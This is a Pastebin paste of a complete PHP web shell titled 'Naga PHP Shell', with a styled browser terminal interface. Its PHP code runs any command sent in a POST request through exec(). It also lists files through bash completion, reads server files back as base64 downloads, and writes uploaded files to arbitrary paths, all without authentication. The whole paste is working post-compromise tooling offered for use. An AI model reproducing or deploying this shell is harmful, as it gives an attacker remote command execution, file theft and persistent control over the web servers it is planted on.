bangnaga

Naga PHP Shell

Jun 29th, 2021
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.50 KB | None | 0 0
  1. <?php
  2.  
  3. function featureShell($cmd, $cwd) {
  4.     $stdout = array();
  5.  
  6.     if (preg_match("/^\s*cd\s*$/", $cmd)) {
  7.         // pass
  8.     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
  9.         chdir($cwd);
  10.         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  11.         chdir($match[1]);
  12.     } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
  13.         chdir($cwd);
  14.         preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
  15.         return featureDownload($match[1]);
  16.     } else {
  17.         chdir($cwd);
  18.         exec($cmd, $stdout);
  19.     }
  20.  
  21.     return array(
  22.         "stdout" => $stdout,
  23.         "cwd" => getcwd()
  24.     );
  25. }
  26.  
  27. function featurePwd() {
  28.     return array("cwd" => getcwd());
  29. }
  30.  
  31. function featureHint($fileName, $cwd, $type) {
  32.     chdir($cwd);
  33.     if ($type == 'cmd') {
  34.         $cmd = "compgen -c $fileName";
  35.     } else {
  36.         $cmd = "compgen -f $fileName";
  37.     }
  38.     $cmd = "/bin/bash -c \"$cmd\"";
  39.     $files = explode("\n", shell_exec($cmd));
  40.     return array(
  41.         'files' => $files,
  42.     );
  43. }
  44.  
  45. function featureDownload($filePath) {
  46.     $file = @file_get_contents($filePath);
  47.     if ($file === FALSE) {
  48.         return array(
  49.             'stdout' => array('File not found / no read permission.'),
  50.             'cwd' => getcwd()
  51.         );
  52.     } else {
  53.         return array(
  54.             'name' => basename($filePath),
  55.             'file' => base64_encode($file)
  56.         );
  57.     }
  58. }
  59.  
  60. function featureUpload($path, $file, $cwd) {
  61.     chdir($cwd);
  62.     $f = @fopen($path, 'wb');
  63.     if ($f === FALSE) {
  64.         return array(
  65.             'stdout' => array('Invalid path / no write permission.'),
  66.             'cwd' => getcwd()
  67.         );
  68.     } else {
  69.         fwrite($f, base64_decode($file));
  70.         fclose($f);
  71.         return array(
  72.             'stdout' => array('Done.'),
  73.             'cwd' => getcwd()
  74.         );
  75.     }
  76. }
  77.  
  78. if (isset($_GET["feature"])) {
  79.  
  80.     $response = NULL;
  81.  
  82.     switch ($_GET["feature"]) {
  83.         case "shell":
  84.             $cmd = $_POST['cmd'];
  85.             if (!preg_match('/2>/', $cmd)) {
  86.                 $cmd .= ' 2>&1';
  87.             }
  88.             $response = featureShell($cmd, $_POST["cwd"]);
  89.             break;
  90.         case "pwd":
  91.             $response = featurePwd();
  92.             break;
  93.         case "hint":
  94.             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
  95.             break;
  96.         case 'upload':
  97.             $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
  98.     }
  99.  
  100.     header("Content-Type: application/json");
  101.     echo json_encode($response);
  102.     die();
  103. }
  104.  
  105. ?><!DOCTYPE html>
  106.  
  107. <html>
  108.  
  109.     <head>
  110.         <meta charset="UTF-8" />
  111.         <title>n4g4@shell:~#</title>
  112.         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  113.         <style>
  114.             html, body {
  115.                 margin: 0;
  116.                 padding: 0;
  117.                 background: #333;
  118.                 color: #eee;
  119.                 font-family: monospace;
  120.             }
  121.  
  122.             *::-webkit-scrollbar-track {
  123.                 border-radius: 8px;
  124.                 background-color: #353535;
  125.             }
  126.  
  127.             *::-webkit-scrollbar {
  128.                 width: 8px;
  129.                 height: 8px;
  130.             }
  131.  
  132.             *::-webkit-scrollbar-thumb {
  133.                 border-radius: 8px;
  134.                 -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
  135.                 background-color: #bcbcbc;
  136.             }
  137.  
  138.             #shell {
  139.                 background: #222;
  140.                 max-width: 800px;
  141.                 margin: 50px auto 0 auto;
  142.                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
  143.                 font-size: 10pt;
  144.                 display: flex;
  145.                 flex-direction: column;
  146.                 align-items: stretch;
  147.             }
  148.  
  149.             #shell-content {
  150.                 height: 500px;
  151.                 overflow: auto;
  152.                 padding: 5px;
  153.                 white-space: pre-wrap;
  154.                 flex-grow: 1;
  155.             }
  156.  
  157.             #shell-logo {
  158.                 font-weight: bold;
  159.                 color: #FF4180;
  160.                 text-align: center;
  161.             }
  162.  
  163.             @media (max-width: 991px) {
  164.                 #shell-logo {
  165.                     font-size: 6px;
  166.                     margin: -25px 0;
  167.                 }
  168.  
  169.                 html, body, #shell {
  170.                     height: 100%;
  171.                     width: 100%;
  172.                     max-width: none;
  173.                 }
  174.  
  175.                 #shell {
  176.                     margin-top: 0;
  177.                 }
  178.             }
  179.  
  180.             @media (max-width: 767px) {
  181.                 #shell-input {
  182.                     flex-direction: column;
  183.                 }
  184.             }
  185.  
  186.             @media (max-width: 320px) {
  187.                 #shell-logo {
  188.                     font-size: 5px;
  189.                 }
  190.             }
  191.  
  192.             .shell-prompt {
  193.                 font-weight: bold;
  194.                 color: #75DF0B;
  195.             }
  196.  
  197.             .shell-prompt > span {
  198.                 color: #1BC9E7;
  199.             }
  200.  
  201.             #shell-input {
  202.                 display: flex;
  203.                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
  204.                 border-top: rgba(255, 255, 255, .05) solid 1px;
  205.             }
  206.  
  207.             #shell-input > label {
  208.                 flex-grow: 0;
  209.                 display: block;
  210.                 padding: 0 5px;
  211.                 height: 30px;
  212.                 line-height: 30px;
  213.             }
  214.  
  215.             #shell-input #shell-cmd {
  216.                 height: 30px;
  217.                 line-height: 30px;
  218.                 border: none;
  219.                 background: transparent;
  220.                 color: #eee;
  221.                 font-family: monospace;
  222.                 font-size: 10pt;
  223.                 width: 100%;
  224.                 align-self: center;
  225.             }
  226.  
  227.             #shell-input div {
  228.                 flex-grow: 1;
  229.                 align-items: stretch;
  230.             }
  231.  
  232.             #shell-input input {
  233.                 outline: none;
  234.             }
  235.         </style>
  236.  
  237.         <script>
  238.             var CWD = null;
  239.             var commandHistory = [];
  240.             var historyPosition = 0;
  241.             var eShellCmdInput = null;
  242.             var eShellContent = null;
  243.  
  244.             function _insertCommand(command) {
  245.                 eShellContent.innerHTML += "\n\n";
  246.                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
  247.                 eShellContent.innerHTML += escapeHtml(command);
  248.                 eShellContent.innerHTML += "\n";
  249.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  250.             }
  251.  
  252.             function _insertStdout(stdout) {
  253.                 eShellContent.innerHTML += escapeHtml(stdout);
  254.                 eShellContent.scrollTop = eShellContent.scrollHeight;
  255.             }
  256.  
  257.             function _defer(callback) {
  258.                 setTimeout(callback, 0);
  259.             }
  260.  
  261.             function featureShell(command) {
  262.  
  263.                 _insertCommand(command);
  264.                 if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
  265.                     featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
  266.                 } else if (/^\s*clear\s*$/.test(command)) {
  267.                     // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
  268.                     eShellContent.innerHTML = '';
  269.                 } else {
  270.                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
  271.                         if (response.hasOwnProperty('file')) {
  272.                             featureDownload(response.name, response.file)
  273.                         } else {
  274.                             _insertStdout(response.stdout.join("\n"));
  275.                             updateCwd(response.cwd);
  276.                         }
  277.                     });
  278.                 }
  279.             }
  280.  
  281.             function featureHint() {
  282.                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
  283.  
  284.                 function _requestCallback(data) {
  285.                     if (data.files.length <= 1) return;  // no completion
  286.  
  287.                     if (data.files.length === 2) {
  288.                         if (type === 'cmd') {
  289.                             eShellCmdInput.value = data.files[0];
  290.                         } else {
  291.                             var currentValue = eShellCmdInput.value;
  292.                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
  293.                         }
  294.                     } else {
  295.                         _insertCommand(eShellCmdInput.value);
  296.                         _insertStdout(data.files.join("\n"));
  297.                     }
  298.                 }
  299.  
  300.                 var currentCmd = eShellCmdInput.value.split(" ");
  301.                 var type = (currentCmd.length === 1) ? "cmd" : "file";
  302.                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
  303.  
  304.                 makeRequest(
  305.                     "?feature=hint",
  306.                     {
  307.                         filename: fileName,
  308.                         cwd: CWD,
  309.                         type: type
  310.                     },
  311.                     _requestCallback
  312.                 );
  313.  
  314.             }
  315.  
  316.             function featureDownload(name, file) {
  317.                 var element = document.createElement('a');
  318.                 element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
  319.                 element.setAttribute('download', name);
  320.                 element.style.display = 'none';
  321.                 document.body.appendChild(element);
  322.                 element.click();
  323.                 document.body.removeChild(element);
  324.                 _insertStdout('Done.');
  325.             }
  326.  
  327.             function featureUpload(path) {
  328.                 var element = document.createElement('input');
  329.                 element.setAttribute('type', 'file');
  330.                 element.style.display = 'none';
  331.                 document.body.appendChild(element);
  332.                 element.addEventListener('change', function () {
  333.                     var promise = getBase64(element.files[0]);
  334.                     promise.then(function (file) {
  335.                         makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
  336.                             _insertStdout(response.stdout.join("\n"));
  337.                             updateCwd(response.cwd);
  338.                         });
  339.                     }, function () {
  340.                         _insertStdout('An unknown client-side error occurred.');
  341.                     });
  342.                 });
  343.                 element.click();
  344.                 document.body.removeChild(element);
  345.             }
  346.  
  347.             function getBase64(file, onLoadCallback) {
  348.                 return new Promise(function(resolve, reject) {
  349.                     var reader = new FileReader();
  350.                     reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
  351.                     reader.onerror = reject;
  352.                     reader.readAsDataURL(file);
  353.                 });
  354.             }
  355.  
  356.             function genPrompt(cwd) {
  357.                 cwd = cwd || "~";
  358.                 var shortCwd = cwd;
  359.                 if (cwd.split("/").length > 3) {
  360.                     var splittedCwd = cwd.split("/");
  361.                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
  362.                 }
  363.                 return "n4g4@shell::<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
  364.             }
  365.  
  366.             function updateCwd(cwd) {
  367.                 if (cwd) {
  368.                     CWD = cwd;
  369.                     _updatePrompt();
  370.                     return;
  371.                 }
  372.                 makeRequest("?feature=pwd", {}, function(response) {
  373.                     CWD = response.cwd;
  374.                     _updatePrompt();
  375.                 });
  376.  
  377.             }
  378.  
  379.             function escapeHtml(string) {
  380.                 return string
  381.                     .replace(/&/g, "&amp;")
  382.                     .replace(/</g, "&lt;")
  383.                     .replace(/>/g, "&gt;");
  384.             }
  385.  
  386.             function _updatePrompt() {
  387.                 var eShellPrompt = document.getElementById("shell-prompt");
  388.                 eShellPrompt.innerHTML = genPrompt(CWD);
  389.             }
  390.  
  391.             function _onShellCmdKeyDown(event) {
  392.                 switch (event.key) {
  393.                     case "Enter":
  394.                         featureShell(eShellCmdInput.value);
  395.                         insertToHistory(eShellCmdInput.value);
  396.                         eShellCmdInput.value = "";
  397.                         break;
  398.                     case "ArrowUp":
  399.                         if (historyPosition > 0) {
  400.                             historyPosition--;
  401.                             eShellCmdInput.blur();
  402.                             eShellCmdInput.value = commandHistory[historyPosition];
  403.                             _defer(function() {
  404.                                 eShellCmdInput.focus();
  405.                             });
  406.                         }
  407.                         break;
  408.                     case "ArrowDown":
  409.                         if (historyPosition >= commandHistory.length) {
  410.                             break;
  411.                         }
  412.                         historyPosition++;
  413.                         if (historyPosition === commandHistory.length) {
  414.                             eShellCmdInput.value = "";
  415.                         } else {
  416.                             eShellCmdInput.blur();
  417.                             eShellCmdInput.focus();
  418.                             eShellCmdInput.value = commandHistory[historyPosition];
  419.                         }
  420.                         break;
  421.                     case 'Tab':
  422.                         event.preventDefault();
  423.                         featureHint();
  424.                         break;
  425.                 }
  426.             }
  427.  
  428.             function insertToHistory(cmd) {
  429.                 commandHistory.push(cmd);
  430.                 historyPosition = commandHistory.length;
  431.             }
  432.  
  433.             function makeRequest(url, params, callback) {
  434.                 function getQueryString() {
  435.                     var a = [];
  436.                     for (var key in params) {
  437.                         if (params.hasOwnProperty(key)) {
  438.                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
  439.                         }
  440.                     }
  441.                     return a.join("&");
  442.                 }
  443.                 var xhr = new XMLHttpRequest();
  444.                 xhr.open("POST", url, true);
  445.                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  446.                 xhr.onreadystatechange = function() {
  447.                     if (xhr.readyState === 4 && xhr.status === 200) {
  448.                         try {
  449.                             var responseJson = JSON.parse(xhr.responseText);
  450.                             callback(responseJson);
  451.                         } catch (error) {
  452.                             alert("Error while parsing response: " + error);
  453.                         }
  454.                     }
  455.                 };
  456.                 xhr.send(getQueryString());
  457.             }
  458.  
  459.             document.onclick = function(event) {
  460.                 event = event || window.event;
  461.                 var selection = window.getSelection();
  462.                 var target = event.target || event.srcElement;
  463.  
  464.                 if (target.tagName === "SELECT") {
  465.                     return;
  466.                 }
  467.  
  468.                 if (!selection.toString()) {
  469.                     eShellCmdInput.focus();
  470.                 }
  471.             };
  472.  
  473.             window.onload = function() {
  474.                 eShellCmdInput = document.getElementById("shell-cmd");
  475.                 eShellContent = document.getElementById("shell-content");
  476.                 updateCwd();
  477.                 eShellCmdInput.focus();
  478.             };
  479.         </script>
  480.     </head>
  481.  
  482.     <body>
  483.         <div id="shell">
  484.             <pre id="shell-content">
  485.                 <div id="shell-logo">
  486.    ___                            __                                        <span></span>
  487.   / __\  __ _  _ __    __ _    /\ \ \  __ _   __ _   __ _                   <span></span>
  488.  /__\// / _` || '_ \  / _` |  /  \/ / / _` | / _` | / _` |                  <span></span>
  489. / \/  \| (_| || | | || (_| | / /\  / | (_| || (_| || (_| |                  <span></span>
  490. \_____/ \__,_||_| |_| \__, | \_\ \/   \__,_| \__, | \__,_|                  <span></span>
  491.                       |___/                  |___/                          <span></span>
  492.                                                                             <span></span>
  493.                                                                             <span></span>          
  494.                                                                             <span></span>
  495.               __--^^^      //     \\     ^^^--_                             <span></span>
  496.              _-^         // (    ) \\         ^-_                           <span></span>
  497.             -           //  |\^^/|  \\           -                          <span></span>
  498.           _/           //   (0::0)   \\            \_                       <span></span>
  499.          /            ((     \\//     ))             \                      <span></span>
  500.        -               \\    (oo)    //               -                     <span></span>
  501.       -                 \\  / \/ \  //                 -                    <span></span>
  502.      -                   \\/      \//                   -                   <span></span>
  503.    / /|           /\      (        )      /\           |\ \                 <span></span>
  504.    |/ | /\_/\_/\_/  \_/\  (   /\   )  /\_/  \_/\_/\_/\ | \|                 <span></span>
  505.    `  |/  V  V  `    V  \_(| |  | |)_/  V    '  V  V  \|  '                 <span></span>
  506.       `   `  `       `   / | |  | | \   '       '  '   '                    <span></span>
  507.                        <(  | |  | |  )>                                     <span></span>
  508.                       <__\_| |  | |_\__>                                    <span></span>
  509.                       ^^^^ ^^^  ^^^ ^^^^^                                   <span></span>
  510.                                                                            <span></span>
  511.                 </div>
  512.             </pre>
  513.             <div id="shell-input">
  514.                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
  515.                 <div>
  516.                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
  517.                 </div>
  518.             </div>
  519.         </div>
  520.     </body>
  521.  
  522. </html>
  523.  
Add Comment
Please, Sign In to add comment